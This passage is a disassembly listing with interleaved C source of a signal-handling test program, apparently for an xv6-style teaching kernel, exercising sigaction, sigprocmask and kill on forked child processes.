632: 58 pop %eax
633: 5a pop %edx
634: 68 8c 17 00 00 push $0x178c
639: 6a 00 push $0x0
63b: e8 c0 0c 00 00 call 1300 <printf>
sigaction(4, SecondSigAct, ThirdSigAct);
640: 83 c4 0c add $0xc,%esp
643: 53 push %ebx
644: 57 push %edi
645: 6a 04 push $0x4
647: e8 fe 0b 00 00 call 124a <sigaction>
printf(0,"Changed signum 4 to hold SigAction2 and Sigaction 3 will hold SigAction1\n");
64c: 59 pop %ecx
64d: 58 pop %eax
64e: 68 c0 17 00 00 push $0x17c0
653: 6a 00 push $0x0
655: e8 a6 0c 00 00 call 1300 <printf>
printf(0,"SigAction3 handler should be 14: %d\n",ThirdSigAct->sa_handler);
65a: 83 c4 0c add $0xc,%esp
65d: ff 33 pushl (%ebx)
65f: 68 0c 18 00 00 push $0x180c
664: 6a 00 push $0x0
666: e8 95 0c 00 00 call 1300 <printf>
printf(0,"SigAction3 mask should be 7: %d\n",ThirdSigAct->sigmask);
66b: 83 c4 0c add $0xc,%esp
66e: ff 73 04 pushl 0x4(%ebx)
671: 68 34 18 00 00 push $0x1834
676: 6a 00 push $0x0
678: e8 83 0c 00 00 call 1300 <printf>
sigaction(4,SecondSigAct,null);
67d: 83 c4 0c add $0xc,%esp
680: 6a 00 push $0x0
682: 57 push %edi
683: 6a 04 push $0x4
685: e8 c0 0b 00 00 call 124a <sigaction>
printf(0,"SigAction3 handler should be 14: %d\n",ThirdSigAct->sa_handler);
68a: 83 c4 0c add $0xc,%esp
68d: ff 33 pushl (%ebx)
68f: 68 0c 18 00 00 push $0x180c
694: 6a 00 push $0x0
696: e8 65 0c 00 00 call 1300 <printf>
printf(0,"SigAction3 mask should be 7: %d\n",ThirdSigAct->sigmask);
69b: 83 c4 0c add $0xc,%esp
69e: ff 73 04 pushl 0x4(%ebx)
6a1: 68 34 18 00 00 push $0x1834
6a6: 6a 00 push $0x0
6a8: e8 53 0c 00 00 call 1300 <printf>
struct sigaction *ForthSigAct = malloc(sizeof(struct sigaction));
6ad: c7 04 24 08 00 00 00 movl $0x8,(%esp)
6b4: e8 a7 0e 00 00 call 1560 <malloc>
6b9: 89 c7 mov %eax,%edi
ForthSigAct->sa_handler = (void (*)())28;
6bb: c7 00 1c 00 00 00 movl $0x1c,(%eax)
ForthSigAct->sigmask=4;
6c1: c7 40 04 04 00 00 00 movl $0x4,0x4(%eax)
printf(0,"Create SigAction4 with handler(int 28) and mask (int 4)\n");
6c8: 58 pop %eax
6c9: 5a pop %edx
6ca: 68 58 18 00 00 push $0x1858
6cf: 6a 00 push $0x0
6d1: e8 2a 0c 00 00 call 1300 <printf>
sigaction(4, ForthSigAct, null);
6d6: 83 c4 0c add $0xc,%esp
6d9: 6a 00 push $0x0
6db: 57 push %edi
6dc: 6a 04 push $0x4
6de: e8 67 0b 00 00 call 124a <sigaction>
printf(0,"Changed signum 4 to hold SigAction4 and do not save old\n");
6e3: 59 pop %ecx
6e4: 58 pop %eax
6e5: 68 94 18 00 00 push $0x1894
6ea: 6a 00 push $0x0
6ec: e8 0f 0c 00 00 call 1300 <printf>
sigaction(4, ForthSigAct, FIrstSigAct);
6f1: 83 c4 0c add $0xc,%esp
6f4: 56 push %esi
6f5: 57 push %edi
6f6: 6a 04 push $0x4
6f8: e8 4d 0b 00 00 call 124a <sigaction>
printf(0,"Changed signum 4 to hold SigAction4 and FirstSigact will hold the old (sig4)\n");
6fd: 58 pop %eax
6fe: 5a pop %edx
6ff: 68 d0 18 00 00 push $0x18d0
704: 6a 00 push $0x0
706: e8 f5 0b 00 00 call 1300 <printf>
printf(0,"SigAction1 handler should be 28: %d\n",FIrstSigAct->sa_handler);
70b: 83 c4 0c add $0xc,%esp
70e: ff 36 pushl (%esi)
710: 68 20 19 00 00 push $0x1920
715: 6a 00 push $0x0
717: e8 e4 0b 00 00 call 1300 <printf>
printf(0,"SigAction1 mask should be 4: %d\n",FIrstSigAct->sigmask);
71c: 83 c4 0c add $0xc,%esp
71f: ff 76 04 pushl 0x4(%esi)
722: 68 48 19 00 00 push $0x1948
727: 6a 00 push $0x0
729: e8 d2 0b 00 00 call 1300 <printf>
printf(0,"Error Tests - Will check things that should not changed are working\n");
72e: 59 pop %ecx
72f: 5e pop %esi
730: 68 6c 19 00 00 push $0x196c
735: 6a 00 push $0x0
737: e8 c4 0b 00 00 call 1300 <printf>
printf(0,"Try to Change signum kill\n");
73c: 58 pop %eax
73d: 5a pop %edx
73e: 68 35 1d 00 00 push $0x1d35
743: 6a 00 push $0x0
745: e8 b6 0b 00 00 call 1300 <printf>
sigaction(SIGKILL, ForthSigAct, ThirdSigAct);
74a: 83 c4 0c add $0xc,%esp
74d: 53 push %ebx
74e: 57 push %edi
74f: 6a 09 push $0x9
751: e8 f4 0a 00 00 call 124a <sigaction>
printf(0,"Try to Change signum 43 (do not exist\n");
756: 59 pop %ecx
757: 5e pop %esi
758: 68 b4 19 00 00 push $0x19b4
75d: 6a 00 push $0x0
75f: e8 9c 0b 00 00 call 1300 <printf>
sigaction(43, ForthSigAct, ThirdSigAct);
764: 83 c4 0c add $0xc,%esp
767: 53 push %ebx
768: 57 push %edi
769: 6a 2b push $0x2b
76b: e8 da 0a 00 00 call 124a <sigaction>
printf(0,"SigAction3 handler should be 14: %d\n",ThirdSigAct->sa_handler);
770: 83 c4 0c add $0xc,%esp
773: ff 33 pushl (%ebx)
775: 68 0c 18 00 00 push $0x180c
77a: 6a 00 push $0x0
77c: e8 7f 0b 00 00 call 1300 <printf>
printf(0,"SigAction3 mask should be 7: %d\n",ThirdSigAct->sigmask);
781: 83 c4 0c add $0xc,%esp
784: ff 73 04 pushl 0x4(%ebx)
787: 68 34 18 00 00 push $0x1834
78c: 6a 00 push $0x0
78e: e8 6d 0b 00 00 call 1300 <printf>
printf(0,"Finished\n");
793: 5f pop %edi
794: 58 pop %eax
795: 68 50 1d 00 00 push $0x1d50
79a: 6a 00 push $0x0
79c: e8 5f 0b 00 00 call 1300 <printf>
return;
7a1: 83 c4 10 add $0x10,%esp
}
7a4: 8d 65 f4 lea -0xc(%ebp),%esp
7a7: 5b pop %ebx
7a8: 5e pop %esi
7a9: 5f pop %edi
7aa: 5d pop %ebp
7ab: c3 ret
7ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000007b0 <kill_self_test>:
{
7b0: 55 push %ebp
7b1: 89 e5 mov %esp,%ebp
7b3: 83 ec 08 sub $0x8,%esp
kill(getpid(),SIGKILL);
7b6: e8 67 0a 00 00 call 1222 <getpid>
7bb: 83 ec 08 sub $0x8,%esp
7be: 6a 09 push $0x9
7c0: 50 push %eax
7c1: e8 0c 0a 00 00 call 11d2 <kill>
}
7c6: 31 c0 xor %eax,%eax
7c8: c9 leave
7c9: c3 ret
7ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
000007d0 <kill_other>:
{
7d0: 55 push %ebp
7d1: 89 e5 mov %esp,%ebp
7d3: 83 ec 10 sub $0x10,%esp
kill(child_kill,signum);
7d6: ff 75 0c pushl 0xc(%ebp)
7d9: ff 75 08 pushl 0x8(%ebp)
7dc: e8 f1 09 00 00 call 11d2 <kill>
}
7e1: 31 c0 xor %eax,%eax
7e3: c9 leave
7e4: c3 ret
7e5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
7e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000007f0 <SignalTests1>:
{
7f0: 55 push %ebp
7f1: 89 e5 mov %esp,%ebp
7f3: 53 push %ebx
7f4: 83 ec 04 sub $0x4,%esp
if((child_pid[0]=fork()) == 0)
7f7: e8 9e 09 00 00 call 119a <fork>
7fc: 85 c0 test %eax,%eax
7fe: 0f 84 cb 00 00 00 je 8cf <SignalTests1+0xdf>
if((child_pid[1]=fork()) == 0)
804: e8 91 09 00 00 call 119a <fork>
809: 85 c0 test %eax,%eax
80b: 89 c3 mov %eax,%ebx
80d: 75 7f jne 88e <SignalTests1+0x9e>
struct sigaction *UserHandlerSignal = malloc(sizeof(struct sigaction));
80f: 83 ec 0c sub $0xc,%esp
812: 6a 08 push $0x8
814: e8 47 0d 00 00 call 1560 <malloc>
UserHandlerSignal->sa_handler = user_handler_signal;
819: c7 00 60 00 00 00 movl $0x60,(%eax)
UserHandlerSignal->sigmask=0;
81f: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
struct sigaction *UserHandlerSignal = malloc(sizeof(struct sigaction));
826: 89 c3 mov %eax,%ebx
printf(0,"Created User Handler Signal with mask that is 0\n");
828: 58 pop %eax
829: 5a pop %edx
82a: 68 2c 1a 00 00 push $0x1a2c
82f: 6a 00 push $0x0
831: e8 ca 0a 00 00 call 1300 <printf>
sigaction(22,UserHandlerSignal,null);
836: 83 c4 0c add $0xc,%esp
839: 6a 00 push $0x0
83b: 53 push %ebx
83c: 6a 16 push $0x16
83e: e8 07 0a 00 00 call 124a <sigaction>
printf(0,"Assigned User Handler Signal to signum 22\n");
843: 59 pop %ecx
844: 5b pop %ebx
845: 68 60 1a 00 00 push $0x1a60
84a: 6a 00 push $0x0
84c: e8 af 0a 00 00 call 1300 <printf>
printf(0,"Starting Loop\n");
851: 58 pop %eax
852: 5a pop %edx
853: 68 5a 1d 00 00 push $0x1d5a
858: 6a 00 push $0x0
85a: e8 a1 0a 00 00 call 1300 <printf>
85f: 83 c4 10 add $0x10,%esp
862: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printf(0,"pid - %d child two\n",getpid());
868: e8 b5 09 00 00 call 1222 <getpid>
86d: 83 ec 04 sub $0x4,%esp
870: 50 push %eax
871: 68 69 1d 00 00 push $0x1d69
876: 6a 00 push $0x0
878: e8 83 0a 00 00 call 1300 <printf>
sleep(50);
87d: c7 04 24 32 00 00 00 movl $0x32,(%esp)
884: e8 a9 09 00 00 call 1232 <sleep>
889: 83 c4 10 add $0x10,%esp
88c: eb da jmp 868 <SignalTests1+0x78>
if((child_pid[2]=fork()) == 0)
88e: e8 07 09 00 00 call 119a <fork>
893: 85 c0 test %eax,%eax
895: 0f 84 a6 00 00 00 je 941 <SignalTests1+0x151>
if((child_pid[3]=fork()) == 0)
89b: e8 fa 08 00 00 call 119a <fork>
8a0: 85 c0 test %eax,%eax
8a2: 74 67 je 90b <SignalTests1+0x11b>
wait();
8a4: e8 01 09 00 00 call 11aa <wait>
wait();
8a9: e8 fc 08 00 00 call 11aa <wait>
wait();
8ae: e8 f7 08 00 00 call 11aa <wait>
wait();
8b3: e8 f2 08 00 00 call 11aa <wait>
printf(0,"parent\n");
8b8: 83 ec 08 sub $0x8,%esp
8bb: 68 9a 1d 00 00 push $0x1d9a
8c0: 6a 00 push $0x0
8c2: e8 39 0a 00 00 call 1300 <printf>
return;
8c7: 83 c4 10 add $0x10,%esp
}
8ca: 8b 5d fc mov -0x4(%ebp),%ebx
8cd: c9 leave
8ce: c3 ret
printf(0,"Trying to self kill the process\n");
8cf: 51 push %ecx
8d0: 51 push %ecx
8d1: 68 dc 19 00 00 push $0x19dc
8d6: 6a 00 push $0x0
8d8: e8 23 0a 00 00 call 1300 <printf>
kill(getpid(),SIGKILL);
8dd: e8 40 09 00 00 call 1222 <getpid>
8e2: 5b pop %ebx
8e3: 5a pop %edx
8e4: 6a 09 push $0x9
8e6: 50 push %eax
8e7: e8 e6 08 00 00 call 11d2 <kill>
sleep(50);
8ec: c7 04 24 32 00 00 00 movl $0x32,(%esp)
8f3: e8 3a 09 00 00 call 1232 <sleep>
printf(0,"Process 1 Should have benn Killed Already!\n");
8f8: 59 pop %ecx
8f9: 5b pop %ebx
8fa: 68 00 1a 00 00 push $0x1a00
8ff: 6a 00 push $0x0
901: e8 fa 09 00 00 call 1300 <printf>
exit();
906: e8 97 08 00 00 call 11a2 <exit>
sleep(250);
90b: 83 ec 0c sub $0xc,%esp
90e: 68 fa 00 00 00 push $0xfa
913: e8 1a 09 00 00 call 1232 <sleep>
printf(0,"signal kill to second child\n");
918: 58 pop %eax
919: 5a pop %edx
91a: 68 7d 1d 00 00 push $0x1d7d
91f: 6a 00 push $0x0
921: e8 da 09 00 00 call 1300 <printf>
kill(child_pid[1],SIGKILL);
926: 59 pop %ecx
927: 58 pop %eax
928: 6a 09 push $0x9
92a: 53 push %ebx
92b: e8 a2 08 00 00 call 11d2 <kill>
sleep(100);
930: c7 04 24 64 00 00 00 movl $0x64,(%esp)
937: e8 f6 08 00 00 call 1232 <sleep>
exit();
93c: e8 61 08 00 00 call 11a2 <exit>
sleep(150);
941: 83 ec 0c sub $0xc,%esp
944: 68 96 00 00 00 push $0x96
949: e8 e4 08 00 00 call 1232 <sleep>
printf(0,"Run User Handler Signal Second Child\n");
94e: 58 pop %eax
94f: 5a pop %edx
950: 68 8c 1a 00 00 push $0x1a8c
955: 6a 00 push $0x0
957: e8 a4 09 00 00 call 1300 <printf>
kill(child_kill,signum);
95c: 59 pop %ecx
95d: 58 pop %eax
95e: 6a 16 push $0x16
960: 53 push %ebx
961: e8 6c 08 00 00 call 11d2 <kill>
sleep(450);
966: c7 04 24 c2 01 00 00 movl $0x1c2,(%esp)
96d: e8 c0 08 00 00 call 1232 <sleep>
exit();
972: e8 2b 08 00 00 call 11a2 <exit>
977: 89 f6 mov %esi,%esi
979: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000980 <SignalTests2>:
{
980: 55 push %ebp
981: 89 e5 mov %esp,%ebp
983: 53 push %ebx
984: 83 ec 04 sub $0x4,%esp
if((child_pid[0]=fork()) == 0)
987: e8 0e 08 00 00 call 119a <fork>
98c: 85 c0 test %eax,%eax
98e: 75 54 jne 9e4 <SignalTests2+0x64>
printf(0,"Trying to self kill the process even while Mask is Blocking\n");
990: 83 ec 08 sub $0x8,%esp
993: 68 b4 1a 00 00 push $0x1ab4
998: 6a 00 push $0x0
99a: e8 61 09 00 00 call 1300 <printf>
sigprocmask(896);
99f: c7 04 24 80 03 00 00 movl $0x380,(%esp)
9a6: e8 97 08 00 00 call 1242 <sigprocmask>
kill(getpid(),SIGKILL);
9ab: e8 72 08 00 00 call 1222 <getpid>
9b0: 59 pop %ecx
9b1: 5b pop %ebx
9b2: 6a 09 push $0x9
9b4: 50 push %eax
9b5: e8 18 08 00 00 call 11d2 <kill>
sleep(250);
9ba: c7 04 24 fa 00 00 00 movl $0xfa,(%esp)
9c1: e8 6c 08 00 00 call 1232 <sleep>
9c6: 83 c4 10 add $0x10,%esp
9c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printf(0,"Process 1 Should have benn Killed Alreadyyyyy!\n");
9d0: 83 ec 08 sub $0x8,%esp
9d3: 68 f4 1a 00 00 push $0x1af4
9d8: 6a 00 push $0x0
9da: e8 21 09 00 00 call 1300 <printf>
9df: 83 c4 10 add $0x10,%esp
9e2: eb ec jmp 9d0 <SignalTests2+0x50>
if((child_pid[1]=fork()) == 0)
9e4: e8 b1 07 00 00 call 119a <fork>
9e9: 85 c0 test %eax,%eax
9eb: 89 c3 mov %eax,%ebx
9ed: 75 7f jne a6e <SignalTests2+0xee>
printf(0,"Trying to Ignore All\n");
9ef: 51 push %ecx
9f0: 51 push %ecx
9f1: 68 a2 1d 00 00 push $0x1da2
9f6: 6a 00 push $0x0
9f8: e8 03 09 00 00 call 1300 <printf>
sigprocmask(4294967295);
9fd: c7 04 24 ff ff ff ff movl $0xffffffff,(%esp)
a04: e8 39 08 00 00 call 1242 <sigprocmask>
struct sigaction *SigAction1 = malloc(sizeof(struct sigaction));
a09: c7 04 24 08 00 00 00 movl $0x8,(%esp)
a10: e8 4b 0b 00 00 call 1560 <malloc>
SigAction1->sa_handler = (void (*)())SIGKILL;
a15: c7 00 09 00 00 00 movl $0x9,(%eax)
SigAction1->sigmask=4294967295;
a1b: c7 40 04 ff ff ff ff movl $0xffffffff,0x4(%eax)
struct sigaction *SigAction1 = malloc(sizeof(struct sigaction));
a22: 89 c3 mov %eax,%ebx
printf(0,"Creating sinum 4 handler is SIGKILL and mask is Ignore ALl\n");
a24: 58 pop %eax
a25: 5a pop %edx
a26: 68 24 1b 00 00 push $0x1b24
a2b: 6a 00 push $0x0
a2d: e8 ce 08 00 00 call 1300 <printf>
sigaction(4,SigAction1,null);
a32: 83 c4 0c add $0xc,%esp
a35: 6a 00 push $0x0
a37: 53 push %ebx
a38: 6a 04 push $0x4
a3a: e8 0b 08 00 00 call 124a <sigaction>
a3f: 83 c4 10 add $0x10,%esp
a42: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printf(0,"pid - %d child two\n",getpid());
a48: e8 d5 07 00 00 call 1222 <getpid>
a4d: 83 ec 04 sub $0x4,%esp
a50: 50 push %eax
a51: 68 69 1d 00 00 push $0x1d69
a56: 6a 00 push $0x0
a58: e8 a3 08 00 00 call 1300 <printf>
sleep(50);
a5d: c7 04 24 32 00 00 00 movl $0x32,(%esp)
a64: e8 c9 07 00 00 call 1232 <sleep>
a69: 83 c4 10 add $0x10,%esp
a6c: eb da jmp a48 <SignalTests2+0xc8>
if((child_pid[2]=fork()) == 0)
a6e: e8 27 07 00 00 call 119a <fork>
a73: 85 c0 test %eax,%eax
a75: 74 33 je aaa <SignalTests2+0x12a>
if((child_pid[3]=fork()) == 0)
a77: e8 1e 07 00 00 call 119a <fork>
a7c: 85 c0 test %eax,%eax
a7e: 74 60 je ae0 <SignalTests2+0x160>
wait();
a80: e8 25 07 00 00 call 11aa <wait>
wait();
a85: e8 20 07 00 00 call 11aa <wait>
wait();
a8a: e8 1b 07 00 00 call 11aa <wait>
wait();
a8f: e8 16 07 00 00 call 11aa <wait>
printf(0,"parent\n");
a94: 50 push %eax
a95: 50 push %eax
a96: 68 9a 1d 00 00 push $0x1d9a
a9b: 6a 00 push $0x0
a9d: e8 5e 08 00 00 call 1300 <printf>
return;
aa2: 83 c4 10 add $0x10,%esp
}
aa5: 8b 5d fc mov -0x4(%ebp),%ebx
aa8: c9 leave
aa9: c3 ret
sleep(250);
aaa: 83 ec 0c sub $0xc,%esp
aad: 68 fa 00 00 00 push $0xfa
ab2: e8 7b 07 00 00 call 1232 <sleep>
kill(child_kill,signum);
ab7: 59 pop %ecx
ab8: 58 pop %eax
ab9: 6a 04 push $0x4
abb: 53 push %ebx
abc: e8 11 07 00 00 call 11d2 <kill>
printf(0,"Should Ignore Signla 4\n");
ac1: 58 pop %eax
ac2: 5a pop %edx
ac3: 68 b8 1d 00 00 push $0x1db8
ac8: 6a 00 push $0x0
aca: e8 31 08 00 00 call 1300 <printf>
sleep(550);
acf: c7 04 24 26 02 00 00 movl $0x226,(%esp)
ad6: e8 57 07 00 00 call 1232 <sleep>
exit();
adb: e8 c2 06 00 00 call 11a2 <exit>
sleep(480);
ae0: 83 ec 0c sub $0xc,%esp
ae3: 68 e0 01 00 00 push $0x1e0
ae8: e8 45 07 00 00 call 1232 <sleep>
printf(0,"signal kill\n");
aed: 5a pop %edx
aee: 59 pop %ecx
aef: 68 d0 1d 00 00 push $0x1dd0
af4: 6a 00 push $0x0
af6: e8 05 08 00 00 call 1300 <printf>
kill(child_pid[1],SIGKILL);
afb: 58 pop %eax
afc: 5a pop %edx
afd: 6a 09 push $0x9
aff: 53 push %ebx
b00: e8 cd 06 00 00 call 11d2 <kill>
sleep(100);
b05: c7 04 24 64 00 00 00 movl $0x64,(%esp)
b0c: e8 21 07 00 00 call 1232 <sleep>
exit();
b11: e8 8c 06 00 00 call 11a2 <exit>
b16: 8d 76 00 lea 0x0(%esi),%esi
b19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000b20 <SignalTests3>:
{
b20: 55 push %ebp
b21: 89 e5 mov %esp,%ebp
b23: 53 push %ebx
b24: 83 ec 04 sub $0x4,%esp
if((child_pid[0]=fork()) == 0)
b27: e8 6e 06 00 00 call 119a <fork>
b2c: 85 c0 test %eax,%eax
b2e: 0f 85 84 00 00 00 jne bb8 <SignalTests3+0x98>
struct sigaction *KillHAndlerSignal = malloc(sizeof(struct sigaction));
b34: 83 ec 0c sub $0xc,%esp
b37: 6a 08 push $0x8
b39: e8 22 0a 00 00 call 1560 <malloc>
KillHAndlerSignal->sa_handler = (void (*)())SIGKILL;
b3e: c7 00 09 00 00 00 movl $0x9,(%eax)
KillHAndlerSignal->sigmask = 0;
b44: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
struct sigaction *KillHAndlerSignal = malloc(sizeof(struct sigaction));
b4b: 89 c3 mov %eax,%ebx
printf(0,"Created KillHAndlerSignal (KILL) with mask that is 0\n");
b4d: 58 pop %eax
b4e: 5a pop %edx
b4f: 68 60 1b 00 00 push $0x1b60
b54: 6a 00 push $0x0
b56: e8 a5 07 00 00 call 1300 <printf>
sigaction(4,KillHAndlerSignal,null);
b5b: 83 c4 0c add $0xc,%esp
b5e: 6a 00 push $0x0
b60: 53 push %ebx
b61: 6a 04 push $0x4
b63: e8 e2 06 00 00 call 124a <sigaction>
printf(0,"Sending KillHAndlerSignal (22)to process\n");
b68: 59 pop %ecx
b69: 5b pop %ebx
b6a: 68 98 1b 00 00 push $0x1b98
b6f: 6a 00 push $0x0
b71: e8 8a 07 00 00 call 1300 <printf>
kill_self_test(4);
b76: c7 04 24 04 00 00 00 movl $0x4,(%esp)
b7d: e8 2e fc ff ff call 7b0 <kill_self_test>
sleep(1250);
b82: c7 04 24 e2 04 00 00 movl $0x4e2,(%esp)
b89: e8 a4 06 00 00 call 1232 <sleep>
b8e: 83 c4 10 add $0x10,%esp
b91: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printf(0,"Process 1 should have been killed already!\n");
b98: 83 ec 08 sub $0x8,%esp
b9b: 68 c4 1b 00 00 push $0x1bc4
ba0: 6a 00 push $0x0
ba2: e8 59 07 00 00 call 1300 <printf>
sleep(100);
ba7: c7 04 24 64 00 00 00 movl $0x64,(%esp)
bae: e8 7f 06 00 00 call 1232 <sleep>
bb3: 83 c4 10 add $0x10,%esp
bb6: eb e0 jmp b98 <SignalTests3+0x78>
if((child_pid[1]=fork()) == 0)
bb8: e8 dd 05 00 00 call 119a <fork>
bbd: 85 c0 test %eax,%eax
bbf: 89 c3 mov %eax,%ebx
bc1: 75 3b jne bfe <SignalTests3+0xde>
printf(0,"Starting Loop\n");
bc3: 51 push %ecx
bc4: 51 push %ecx
bc5: 68 5a 1d 00 00 push $0x1d5a
bca: 6a 00 push $0x0
bcc: e8 2f 07 00 00 call 1300 <printf>
bd1: 83 c4 10 add $0x10,%esp
bd4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printf(0,"pid - %d child two\n",getpid());
bd8: e8 45 06 00 00 call 1222 <getpid>
bdd: 83 ec 04 sub $0x4,%esp
be0: 50 push %eax
be1: 68 69 1d 00 00 push $0x1d69
be6: 6a 00 push $0x0
be8: e8 13 07 00 00 call 1300 <printf>
sleep(50);
bed: c7 04 24 32 00 00 00 movl $0x32,(%esp)
bf4: e8 39 06 00 00 call 1232 <sleep>
bf9: 83 c4 10 add $0x10,%esp
bfc: eb da jmp bd8 <SignalTests3+0xb8>
if((child_pid[2]=fork()) == 0)
bfe: e8 97 05 00 00 call 119a <fork>
c03: 85 c0 test %eax,%eax
c05: 74 37 je c3e <SignalTests3+0x11e>
if((child_pid[3]=fork()) == 0)
c07: e8 8e 05 00 00 call 119a <fork>
c0c: 85 c0 test %eax,%eax
c0e: 0f 84 3a 01 00 00 je d4e <SignalTests3+0x22e>
wait();
c14: e8 91 05 00 00 call 11aa <wait>
wait();
c19: e8 8c 05 00 00 call 11aa <wait>
wait();
c1e: e8 87 05 00 00 call 11aa <wait>
wait();
c23: e8 82 05 00 00 call 11aa <wait>
printf(0,"parent\n");
c28: 50 push %eax
c29: 50 push %eax
c2a: 68 9a 1d 00 00 push $0x1d9a
c2f: 6a 00 push $0x0
c31: e8 ca 06 00 00 call 1300 <printf>
return;
c36: 83 c4 10 add $0x10,%esp
}
c39: 8b 5d fc mov -0x4(%ebp),%ebx
c3c: c9 leave
c3d: c3 ret
printf(0, "child 3 pid: %d\n", getpid());
c3e: e8 df 05 00 00 call 1222 <getpid>
c43: 52 push %edx
c44: 50 push %eax
c45: 68 dd 1d 00 00 push $0x1ddd
c4a: 6a 00 push $0x0
c4c: e8 af 06 00 00 call 1300 <printf>
sleep(30);
c51: c7 04 24 1e 00 00 00 movl $0x1e,(%esp)
c58: e8 d5 05 00 00 call 1232 <sleep>
printf(0,"Run SigSTOP Second Child\n");
c5d: 59 pop %ecx
c5e: 58 pop %eax
c5f: 68 ee 1d 00 00 push $0x1dee
c64: 6a 00 push $0x0
c66: e8 95 06 00 00 call 1300 <printf>
kill(child_kill,signum);
c6b: 58 pop %eax
c6c: 5a pop %edx
c6d: 6a 11 push $0x11
c6f: 53 push %ebx
c70: e8 5d 05 00 00 call 11d2 <kill>
printf(0, "@@@@@1\n");
c75: 59 pop %ecx
c76: 58 pop %eax
c77: 68 08 1e 00 00 push $0x1e08
c7c: 6a 00 push $0x0
c7e: e8 7d 06 00 00 call 1300 <printf>
sleep(20);
c83: c7 04 24 14 00 00 00 movl $0x14,(%esp)
c8a: e8 a3 05 00 00 call 1232 <sleep>
printf(0, "@@@@@2\n");
c8f: 58 pop %eax
c90: 5a pop %edx
c91: 68 10 1e 00 00 push $0x1e10
c96: 6a 00 push $0x0
c98: e8 63 06 00 00 call 1300 <printf>
printf(0,"Send SIGCONT child two\n");
c9d: 59 pop %ecx
c9e: 58 pop %eax
c9f: 68 18 1e 00 00 push $0x1e18
ca4: 6a 00 push $0x0
ca6: e8 55 06 00 00 call 1300 <printf>
kill(child_kill,signum);
cab: 58 pop %eax
cac: 5a pop %edx
cad: 6a 13 push $0x13
caf: 53 push %ebx
cb0: e8 1d 05 00 00 call 11d2 <kill>
sleep(20);
cb5: c7 04 24 14 00 00 00 movl $0x14,(%esp)
cbc: e8 71 05 00 00 call 1232 <sleep>
printf(0,"Send SIGSTOP child2 AGAIN\n");
cc1: 59 pop %ecx
cc2: 58 pop %eax
cc3: 68 30 1e 00 00 push $0x1e30
cc8: 6a 00 push $0x0
cca: e8 31 06 00 00 call 1300 <printf>
kill(child_kill,signum);
ccf: 58 pop %eax
cd0: 5a pop %edx
cd1: 6a 11 push $0x11
cd3: 53 push %ebx
cd4: e8 f9 04 00 00 call 11d2 <kill>
printf(0, "@@@@@1\n");
cd9: 59 pop %ecx
cda: 58 pop %eax
cdb: 68 08 1e 00 00 push $0x1e08
ce0: 6a 00 push $0x0
ce2: e8 19 06 00 00 call 1300 <printf>
sleep(20);
ce7: c7 04 24 14 00 00 00 movl $0x14,(%esp)
cee: e8 3f 05 00 00 call 1232 <sleep>
printf(0, "@@@@@2\n");
cf3: 58 pop %eax
cf4: 5a pop %edx
cf5: 68 10 1e 00 00 push $0x1e10
cfa: 6a 00 push $0x0
cfc: e8 ff 05 00 00 call 1300 <printf>
printf(0,"Send SIGKILL to child2\n");
d01: 59 pop %ecx
d02: 58 pop %eax
d03: 68 4b 1e 00 00 push $0x1e4b
d08: 6a 00 push $0x0
d0a: e8 f1 05 00 00 call 1300 <printf>
kill(child_kill,signum);
d0f: 58 pop %eax
d10: 5a pop %edx
d11: 6a 09 push $0x9
d13: 53 push %ebx
d14: e8 b9 04 00 00 call 11d2 <kill>
sleep(30);
d19: c7 04 24 1e 00 00 00 movl $0x1e,(%esp)
d20: e8 0d 05 00 00 call 1232 <sleep>
printf(0,"Send SIGCONT to child2\n");
d25: 59 pop %ecx
d26: 58 pop %eax
d27: 68 63 1e 00 00 push $0x1e63
d2c: 6a 00 push $0x0
d2e: e8 cd 05 00 00 call 1300 <printf>
kill(child_kill,signum);
d33: 58 pop %eax
d34: 5a pop %edx
d35: 6a 13 push $0x13
d37: 53 push %ebx
d38: e8 95 04 00 00 call 11d2 <kill>
sleep(30);
d3d: c7 04 24 1e 00 00 00 movl $0x1e,(%esp)
d44: e8 e9 04 00 00 call 1232 <sleep>
exit();
d49: e8 54 04 00 00 call 11a2 <exit>
exit();
d4e: e8 4f 04 00 00 call 11a2 <exit>
d53: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
d59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000d60 <sleepTest>:
void sleepTest() {
d60: 55 push %ebp
d61: 89 e5 mov %esp,%ebp
d63: 53 push %ebx
d64: 83 ec 04 sub $0x4,%esp
if((child_pid[0]=fork()) == 0)
d67: e8 2e 04 00 00 call 119a <fork>
d6c: 85 c0 test %eax,%eax
d6e: 0f 85 84 00 00 00 jne df8 <sleepTest+0x98>
struct sigaction *KillHAndlerSignal = malloc(sizeof(struct sigaction));
d74: 83 ec 0c sub $0xc,%esp
d77: 6a 08 push $0x8
d79: e8 e2 07 00 00 call 1560 <malloc>
KillHAndlerSignal->sa_handler = (void (*)())SIGKILL;
d7e: c7 00 09 00 00 00 movl $0x9,(%eax)
KillHAndlerSignal->sigmask = 0;
d84: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
struct sigaction *KillHAndlerSignal = malloc(sizeof(struct sigaction));
d8b: 89 c3 mov %eax,%ebx
printf(0,"Created KillHAndlerSignal (KILL) with mask that is 0\n");
d8d: 58 pop %eax
d8e: 5a pop %edx
d8f: 68 60 1b 00 00 push $0x1b60
d94: 6a 00 push $0x0
d96: e8 65 05 00 00 call 1300 <printf>
sigaction(4,KillHAndlerSignal,null);
d9b: 83 c4 0c add $0xc,%esp
d9e: 6a 00 push $0x0
da0: 53 push %ebx
da1: 6a 04 push $0x4
da3: e8 a2 04 00 00 call 124a <sigaction>
printf(0,"Sending KillHAndlerSignal (22)to process\n");
da8: 59 pop %ecx
da9: 5b pop %ebx
daa: 68 98 1b 00 00 push $0x1b98
